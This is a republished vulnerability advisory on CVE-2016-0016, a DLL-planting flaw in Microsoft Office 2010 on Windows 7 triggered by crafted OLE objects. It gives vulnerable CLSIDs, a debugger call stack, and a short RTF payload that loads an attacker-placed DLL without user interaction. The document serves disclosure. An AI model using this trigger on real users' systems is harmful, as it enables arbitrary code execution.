Microsoft Office / COM Object Dl

Published

2016.01.14

CWE

N/A

Google Security Research (https://cxsecurity.com/sea

CVE

CVE-2016-0016 (https://cxsecurity.com/cveshow/CVE 2016-0016/)

Download HIPAA Checklist
Free HIPAA Security Guide By ESET® Ten Steps For HIPAA Compliance.

It is possible for an attacker to execute a DLL planting attack in Microsoft Office 2010 on Windows 7 x86 with a specially crafted OLE object. The attached POC document "planted-mfplat.doc" contains what was originally an embedded Packager object. The CLSID for this object was changed at offset 0x2650 to be {62dc1a93-ae24-464c-a43e-452f824c4250} (formatted as pack(">IHHBBBBBBBB")) which is one of several registered objects that have an InProcServer32 of WMALFXGFXDSP.dll. Other options include:

{637c490d-eee3-4c0a-973f-371958802da2}
{874131cb-4ecc-443b-8948-746b89595d20}
{96749377-3391-11D2-9EE3-00C04F797396}

When a user opens this document and single clicks on the icon for foo.txt ole32!OleLoad is invoked on our vulnerable CLSID. This results in a call to wmalfxgfxdsp!DllGetClassObject() which does a LoadLibraryW() call for "mfplat". If the attached mfplat.dll is placed in the same directory with the planted-mfplat.doc file you should see a popup coming from this DLL being loaded from the current working directory of Word.

Here is the call stack leading up to the vulnerable LoadLibraryW() call:

```
0:000> kb
ChildEBP RetAddr Args to Child
002c8d18 68f02e2f 68f02e70 68f013bc 003f0774 kernel32!LoadLibraryW
002c8d28 68f01ff4 00000000 002c93f4 003ff174 WMALFXGFXDSP!InitAVRTAlloc+0x58
002c8d3c 7660aec6 003f0764 00000000 002c8de4 WMALFXGFXDSP!DllGetClassObject+0x87
002c8d58 765e91cd 003f0764 7660ee84 002c8de4 ole32!CClassCache::CDllPathEntry::DllGetClassObject+0x30
[d:w7rtmcomole32comobjactdllcache.cxx @ 3324]
002c8d70 765e8e92 002c8d84 7660ee84 002c8de4 ole32!CClassCache::CDllFnPtrMoniker::BindToObjectNoSwitch+0x1f
[d:w7rtmcomole32comobjactdllcache.cxx @ 3831]
002c8da8 765e8c37 002c8dec 00000000 002c93f4 ole32!CClassCache::GetClassObject+0x49
[d:w7rtmcomole32comobjactdllcache.cxx @ 4582]
002c8e24 76603170 76706444 00000000 002c93f4 ole32!CServerContextActivator::CreateInstance+0x110
[d:w7rtmcomole32comobjactactvator.cxx @ 974]
002c8e64 765e8daa 002c93f4 00000000 002c995c ole32!ActivationPropertiesIn::DelegateCreateInstance+0x108
[d:w7rtmcomole32actpropsactprops.cxx @ 1917]
002c8eb8 765e8d1f 7670646c 00000000 002c93f4 ole32!CApartmentActivator::CreateInstance+0x112
[d:w7rtmcomole32comobjactactvator.cxx @ 2268]
002c8ed8 765e8aa2 76706494 00000001 00000000 ole32!CProcessActivator::CCICallback+0x6d
[d:w7rtmcomole32comobjactactvator.cxx @ 1737]
002c8ef8 765e8a53 76706494 002c9250 00000000 ole32!CProcessActivator::AttemptActivation+0x2c
[d:w7rtmcomole32comobjactactvator.cxx @ 1630]
002c8f34 765e8e0d 76706494 002c9250 00000000 ole32!CProcessActivator::ActivateByContext+0x4f
[d:w7rtmcomole32comobjactactvator.cxx @ 1487]
002c8f5c 76603170 76706494 00000000 002c93f4 ole32!CProcessActivator::CreateInstance+0x49
[d:w7rtmcomole32comobjactactvator.cxx @ 1377]
002c8f9c 76602ef4 002c93f4 00000000 002c995c ole32!ActivationPropertiesIn::DelegateCreateInstance+0x108
[d:w7rtmcomole32actpropsactprops.cxx @ 1917]
002c91fc 76603170 76706448 00000000 002c93f4 ole32!CClientContextActivator::CreateInstance+0xb0
[d:w7rtmcomole32comobjactactvator.cxx @ 685]
002c923c 76603098 002c93f4 00000000 002c995c ole32!ActivationPropertiesIn::DelegateCreateInstance+0x108
[d:w7rtmcomole32actpropsactprops.cxx @ 1917]
002c9a10 76609e25 002c9b2c 00000000 00000403 ole32!ICoCreateInstanceEx+0x404 [d:w7rtmcomole32comobjactobjact.cxx @
1334]
002c9a70 76609d86 002c9b2c 00000000 00000403 ole32!CComActivator::DoCreateInstance+0xd9
[d:w7rtmcomole32comobjactimmact.hxx @ 343]
002c9a94 76609d3f 002c9b2c 00000000 00000403 ole32!CoCreateInstanceEx+0x38 [d:w7rtmcomole32comobjactactapi.cxx @
157]
002c9ac4 7662154c 002c9b2c 00000000 00000403 ole32!CoCreateInstance+0x37 [d:w7rtmcomole32comobjactactapi.cxx @ 110]
002c9b40 7661f2af 62dc1a93 464cae24 2f453ea4 ole32!wCreateObject+0x106 [d:w7rtmcomole32ole232basecreate.cpp @ 3046]
002c9ba4 7661f1d4 06370820 00000000 5f3363a8 ole32!OleLoadWithoutBinding+0x9c [d:w7rtmcomole32ole232basecreate.cpp
@ 1576]
002c9bcc 611483bf 06370820 5f3363a8 045d86e0 ole32!OleLoad+0x37 [d:w7rtmcomole32ole232basecreate.cpp @ 1495]
WARNING: Stack unwind information not available. Following frames may be wrong.
002c9c40 5f7c3973 06370820 5f3363a8 045d86e0 mso!Ordinal2023+0x7c
002c9c8c 5f7c3881 036fe800 06370820 5f3363a8 wwlib!DllGetLCID+0x46e24d
```

This DLL load can be triggered without user interaction with the following RTF document:

```
{\rtf1{objectobjemb{*objclass None}{*oleclsid '7b62dc1a93-ae24-464c-a43e-452f824c4250'7d}{*objdata
010500000100000001000000000000000000000000000000000000000000000000000000000000000000000000}}}
```

References:

https://code.google.com/p/google-security-research/issues/detail?id=555

See this note in RAW Version

Tweet

Bugtraq (https://cxsecurity.com/wlb/rss/all/) **CVEMAP** (https://cxsecurity.com/cverss/fullmap/) **REDDIT** (http://www.reddit.com/submit?url=http%3A%2F%2Fcxsecurity.com%2F2016010083&title=Microsoft+Office+%2F+COM+Object+DLL+Planting+with+WMAl

Copyright 2(